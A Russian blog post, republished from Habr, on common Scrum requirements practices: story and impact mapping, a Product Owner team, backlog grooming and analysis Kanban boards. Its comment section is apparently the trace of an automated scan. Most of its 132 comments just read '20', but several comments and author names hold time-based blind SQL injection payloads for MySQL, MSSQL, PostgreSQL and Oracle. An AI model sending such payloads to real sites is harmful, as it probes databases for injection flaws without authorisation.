Больше, чем plain vanilla scrum. Общепринятые практики работы с требованиями.

Если вы ещё не читали статью Майка Кона "Правила против общепринятых практик в Скраме", то я рекомендую вам с ней ознакомиться. Статья о практиках, которые довольно часто встречаются в Скрам-проектах, но не являются базовыми правилами Скрам.

Скрам поощряет подобные добавления. Более того, он специально построен минималистично, дабы команды могли добавить то, что им по вкусу. Не стоит путать подобные улучшения процесса с печально известным Скрам-ном. В отличие от последнего, добавленные практики улучшают процесс, повышая эффективность выпуска продуктов и выравнивая поток работ.

Сегодня я хочу поделиться разнообразными практиками по работе с требованиями.

За последние несколько лет перечисленные практики мне не раз довелось наблюдать за кулисами у успешных команд в роли Agile-коуча и рассказывать о них на тренингах Certified ScrumMaster в роли Скрам-Тренера.

Конечно же, это далеко не полный список практик, я буду рад услышать дополнения. Некоторые из перечисленных практик заслуживают отдельных статей, но пока они "work in progress".

Итак:

Общепринятые практики работы с требованиями в Скрам

Структурированные карты требований

Целостное видение проекта и высокоуровневые требования хранить в виде беклога неудобно.

Идеи — это списки со сложными связями, а не одномерные списки. Для работы с идеями проекта современные Владельцы Продуктов и аналитики используют специализированные техники и форматы.

 

Двумя популярными специализированными техниками являются карты пользовательских историй (user story mapping) и карты влияния (impact mapping) — специализированные mind maps.

В настоящее время не так много электронных инструментов поддерживают создание подобных карт. Но Google docs для story mapping и обычный mind-mapping tool для карт влияния неплохо справляются с этими задачами.

Работает это следующим образом: идеи проекта на ранней фазе составляются в виде визуальных карт. Это удобный и естественный способ. После чего, по мере хода проекта, Владелец Продукта во время груминг сессий наслаивает из этих карт пользовательские истории. Таким образом, беклог продукта никогда не переполнен и состоит из небольшого управляемого подмножества элементов требований.

Команда Владельца Продукта

В большинстве проектов, которые мне довелось наблюдать за последние несколько лет, проработкой требований занимается более одного человека. Иногда это пара человек, чаще — группа, состоящая из менеджеров продуктов, аналитиков, специалистов предметной области, архитекторов и представителей конечных пользователей.

Такие группы сейчас принято называть Командой Владельца Продукта. 

Такая практика нисколько не идет в разрез с правилом Скрам о "наличии только одного Владельца Продукта". Такая команда управляется одним стратегическим менеджером, который владеет высокоуровневым видением продукта, направляет и координирует работу группы.

Сессии груминга беклога

Когда и кем составляется беклог?

Выполнение этой работы между спринтами приводит к несбалансированной загрузке Команды Владельца Продукта и зачастую оттягивает запуск спринтов, ухудшая качество планов. 

Вместо этого частой практикой является проводить во время спринтов запланированные встречи по проработке беклога. В иностранной литературе используется термин backlog grooming (буквально — «ухаживать»). 

В течение этих сессий участники:

  • составляют пользовательские истории на основании карт требований и текущих нужд;
  • разбивают крупные истории на мелкие;
  • оценивают сложность работы;
  • детализируют истории скетчами дизайна и взаимодействия пользователей, тест-кексами и примерами;
  • обсуждают способы реализации;
  • выполняют и анализируют быстрые прототипы.

Доски процесса анализа

По мере работы Команды Владельца Продукта и их груминг-сессий возникает немало артефактов и требований на разных фазах анализа. Для удобства управления потоком этой работы используются Канбан-доски. 

Как вы можете заметить, последняя колонка такой доски — это, собственно, и есть беклог продукта.

Именно эти готовые истории попадают в планы спринта.

Подобная доска может быть легко объединена с доской по разработке, что предоставит единый пульт управления проектом от идеи до релизов.

Какие еще практики работы с требованиями используете вы в Скраме?

Статья переопубликована с https://habrahabr.ru/

Февраль 2013


Write a comment

Comments: 132
  • #1

    ZMskyuza (Wednesday, 26 October 2022 17:21)

    20

  • #2

    ZMskyuza (Wednesday, 26 October 2022 17:36)

    20

  • #3

    ZMskyuza (Wednesday, 26 October 2022 17:37)

    20

  • #4

    ZMskyuza (Wednesday, 26 October 2022 17:38)

    20

  • #5

    ZMskyuza (Wednesday, 26 October 2022 17:39)

    20

  • #6

    ZMskyuza (Wednesday, 26 October 2022 17:39)

    20

  • #7

    ZMskyuza (Wednesday, 26 October 2022 17:40)

    20

  • #8

    ZMskyuza (Wednesday, 26 October 2022 17:41)

    20

  • #9

    ZMskyuza (Wednesday, 26 October 2022 17:42)

    20

  • #10

    ZMskyuza (Wednesday, 26 October 2022 17:43)

    20

  • #11

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #12

    ZMskyuza (Wednesday, 26 October 2022 17:44)

    20

  • #13

    ZMskyuza (Wednesday, 26 October 2022 17:45)

    20

  • #14

    ZMskyuza (Wednesday, 26 October 2022 17:46)

    20

  • #15

    ZMskyuza (Wednesday, 26 October 2022 17:47)

    20

  • #16

    ZMskyuza (Wednesday, 26 October 2022 17:48)

    20

  • #17

    ZMskyuza (Wednesday, 26 October 2022 17:49)

    20

  • #18

    ZMskyuza (Wednesday, 26 October 2022 17:49)

    20

  • #19

    ZMskyuza (Wednesday, 26 October 2022 17:50)

    20

  • #20

    ZMskyuza (Wednesday, 26 October 2022 17:51)

    20

  • #21

    ZMskyuza (Wednesday, 26 October 2022 17:52)

    20

  • #22

    ZMskyuza (Wednesday, 26 October 2022 17:53)

    if(now()=sysdate(),sleep(15),0)

  • #23

    ZMskyuza (Wednesday, 26 October 2022 17:53)

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • #24

    ZMskyuza (Wednesday, 26 October 2022 17:54)

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • #25

    ZMskyuza (Wednesday, 26 October 2022 17:55)

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • #26

    ZMskyuza (Wednesday, 26 October 2022 17:56)

    -1; waitfor delay '0:0:15' --

  • #27

    ZMskyuza (Wednesday, 26 October 2022 17:57)

    -1); waitfor delay '0:0:15' --

  • #28

    ZMskyuza (Wednesday, 26 October 2022 17:57)

    1 waitfor delay '0:0:15' --

  • #29

    ZMskyuza (Wednesday, 26 October 2022 17:58)

    BUWMov4j'; waitfor delay '0:0:15' --

  • #30

    ZMskyuza (Wednesday, 26 October 2022 17:59)

    -5 OR 186=(SELECT 186 FROM PG_SLEEP(15))--

  • #31

    ZMskyuza (Wednesday, 26 October 2022 18:00)

    -5) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

  • #32

    ZMskyuza (Wednesday, 26 October 2022 18:01)

    -1)) OR 204=(SELECT 204 FROM PG_SLEEP(15))--

  • #33

    ZMskyuza (Wednesday, 26 October 2022 18:01)

    FqXDIKJ6' OR 927=(SELECT 927 FROM PG_SLEEP(15))--

  • #34

    ZMskyuza (Wednesday, 26 October 2022 18:02)

    2xUmvXRY') OR 863=(SELECT 863 FROM PG_SLEEP(15))--

  • #35

    ZMskyuza (Wednesday, 26 October 2022 18:03)

    ozLPQOMS')) OR 784=(SELECT 784 FROM PG_SLEEP(15))--

  • #36

    ZMskyuza (Wednesday, 26 October 2022 18:04)

    20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • #37

    ZMskyuza (Wednesday, 26 October 2022 18:05)

    20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • #38

    ZMskyuza (Wednesday, 26 October 2022 18:05)

    20

  • #39

    ZMskyuza (Wednesday, 26 October 2022 18:06)

    20

  • #40

    ZMskyuza (Wednesday, 26 October 2022 18:07)

    20

  • #41

    ZMskyuza (Wednesday, 26 October 2022 18:08)

    20

  • #42

    ZMskyuza (Wednesday, 26 October 2022 18:09)

    20

  • #43

    ZMskyuza (Wednesday, 26 October 2022 18:09)

    20

  • #44

    ZMskyuza (Wednesday, 26 October 2022 18:10)

    20

  • #45

    ZMskyuza (Wednesday, 26 October 2022 18:11)

    20

  • #46

    ZMskyuza (Wednesday, 26 October 2022 18:12)

    20

  • #47

    ZMskyuza (Wednesday, 26 October 2022 18:13)

    20

  • #48

    ZMskyuza (Wednesday, 26 October 2022 18:13)

    20

  • #49

    ZMskyuza (Wednesday, 26 October 2022 18:14)

    20

  • #50

    ZMskyuza (Wednesday, 26 October 2022 18:15)

    20

  • #51

    ZMskyuza (Wednesday, 26 October 2022 18:16)

    20

  • #52

    ZMskyuza (Wednesday, 26 October 2022 18:17)

    20

  • #53

    ZMskyuza (Wednesday, 26 October 2022 18:18)

    20

  • #54

    ZMskyuza (Wednesday, 26 October 2022 18:19)

    20

  • #55

    ZMskyuza (Wednesday, 26 October 2022 18:20)

    20

  • #56

    ZMskyuza (Wednesday, 26 October 2022 18:20)

    20

  • #57

    ZMskyuza (Wednesday, 26 October 2022 18:21)

    20

  • #58

    ZMskyuza (Wednesday, 26 October 2022 18:22)

    20

  • #59

    ZMskyuza (Wednesday, 26 October 2022 18:23)

    20

  • #60

    ZMskyuza (Wednesday, 26 October 2022 18:24)

    20

  • #61

    ZMskyuza (Wednesday, 26 October 2022 18:25)

    20

  • #62

    ZMskyuza (Wednesday, 26 October 2022 18:26)

    20

  • #63

    ZMskyuza (Wednesday, 26 October 2022 18:27)

    20

  • #64

    ZMskyuza (Wednesday, 26 October 2022 18:28)

    20

  • #65

    ZMskyuza (Wednesday, 26 October 2022 18:29)

    20

  • #66

    ZMskyuza (Wednesday, 26 October 2022 18:30)

    20

  • #67

    ZMskyuza (Wednesday, 26 October 2022 18:30)

    20

  • #68

    ZMskyuza (Wednesday, 26 October 2022 18:31)

    20

  • #69

    ZMskyuza (Wednesday, 26 October 2022 18:32)

    20

  • #70

    ZMskyuza (Wednesday, 26 October 2022 18:49)

    20

  • #71

    ZMskyuza (Wednesday, 26 October 2022 18:50)

    20

  • #72

    if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 18:51)

    20

  • #73

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 18:52)

    20

  • #74

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 18:53)

    20

  • #75

    1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 18:55)

    20

  • #76

    oWLqixij'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 18:56)

    20

  • #77

    SMIYFzVC' OR 451=(SELECT 451 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:57)

    20

  • #78

    0XbbRiq6') OR 481=(SELECT 481 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:58)

    20

  • #79

    OAifkp8g')) OR 487=(SELECT 487 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:59)

    20

  • #80

    ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 19:00)

    20

  • #81

    ZMskyuza (Wednesday, 26 October 2022 19:01)

    20

  • #82

    ZMskyuza (Wednesday, 26 October 2022 19:02)

    20

  • #83

    ZMskyuza (Wednesday, 26 October 2022 19:03)

    20

  • #84

    ZMskyuza (Wednesday, 26 October 2022 19:04)

    20

  • #85

    ZMskyuza (Wednesday, 26 October 2022 19:05)

    20

  • #86

    ZMskyuza (Wednesday, 26 October 2022 19:06)

    20

  • #87

    ZMskyuza (Wednesday, 26 October 2022 19:07)

    20

  • #88

    ZMskyuza (Wednesday, 26 October 2022 19:08)

    20

  • #89

    ZMskyuza (Wednesday, 26 October 2022 19:09)

    20

  • #90

    ZMskyuza (Wednesday, 26 October 2022 19:10)

    20

  • #91

    ZMskyuza (Wednesday, 26 October 2022 19:10)

    20

  • #92

    ZMskyuza (Wednesday, 26 October 2022 19:11)

    20

  • #93

    ZMskyuza (Wednesday, 26 October 2022 19:12)

    20

  • #94

    ZMskyuza (Wednesday, 26 October 2022 19:13)

    20

  • #95

    ZMskyuza (Wednesday, 26 October 2022 19:14)

    20

  • #96

    ZMskyuza (Wednesday, 26 October 2022 19:15)

    20

  • #97

    ZMskyuza (Wednesday, 26 October 2022 19:16)

    20

  • #98

    ZMskyuza (Wednesday, 26 October 2022 19:17)

    20

  • #99

    ZMskyuza (Wednesday, 26 October 2022 19:18)

    20

  • #100

    ZMskyuza (Wednesday, 26 October 2022 19:19)

    20

  • #101

    ZMskyuza (Wednesday, 26 October 2022 19:21)

    20

  • #102

    ZMskyuza (Wednesday, 26 October 2022 19:22)

    20

  • #103

    ZMskyuza (Wednesday, 26 October 2022 19:23)

    20

  • #104

    ZMskyuza (Wednesday, 26 October 2022 19:24)

    20

  • #105

    ZMskyuza (Wednesday, 26 October 2022 19:25)

    20

  • #106

    ZMskyuza (Wednesday, 26 October 2022 19:26)

    20

  • #107

    ZMskyuza (Wednesday, 26 October 2022 19:27)

    20

  • #108

    ZMskyuza (Wednesday, 26 October 2022 19:28)

    20

  • #109

    ZMskyuza (Wednesday, 26 October 2022 19:29)

    20

  • #110

    ZMskyuza (Wednesday, 26 October 2022 19:30)

    20

  • #111

    ZMskyuza (Wednesday, 26 October 2022 19:30)

    20

  • #112

    ZMskyuza (Wednesday, 26 October 2022 19:31)

    20

  • #113

    ZMskyuza (Wednesday, 26 October 2022 19:32)

    20

  • #114

    ZMskyuza (Wednesday, 26 October 2022 19:33)

    20

  • #115

    ZMskyuza (Wednesday, 26 October 2022 19:34)

    20

  • #116

    ZMskyuza (Wednesday, 26 October 2022 19:35)

    20

  • #117

    ZMskyuza (Wednesday, 26 October 2022 19:36)

    20

  • #118

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #119

    ZMskyuza (Wednesday, 26 October 2022 19:38)

    20

  • #120

    ZMskyuza (Wednesday, 26 October 2022 19:38)

    20

  • #121

    ZMskyuza (Wednesday, 26 October 2022 19:39)

    20

  • #122

    ZMskyuza (Wednesday, 26 October 2022 19:40)

    20

  • #123

    ZMskyuza (Wednesday, 26 October 2022 19:41)

    20

  • #124

    ZMskyuza (Wednesday, 26 October 2022 19:42)

    20

  • #125

    ZMskyuza (Wednesday, 26 October 2022 19:43)

    20

  • #126

    ZMskyuza (Wednesday, 26 October 2022 19:43)

    20

  • #127

    ZMskyuza (Wednesday, 26 October 2022 19:44)

    20

  • #128

    ZMskyuza (Wednesday, 26 October 2022 19:45)

    20

  • #129

    ZMskyuza (Wednesday, 26 October 2022 20:30)

    20

  • #130

    ZMskyuza (Wednesday, 26 October 2022 23:10)

    20

  • #131

    ZMskyuza (Thursday, 27 October 2022 01:01)

    20

  • #132

    ZMskyuza (Thursday, 27 October 2022 02:33)

    20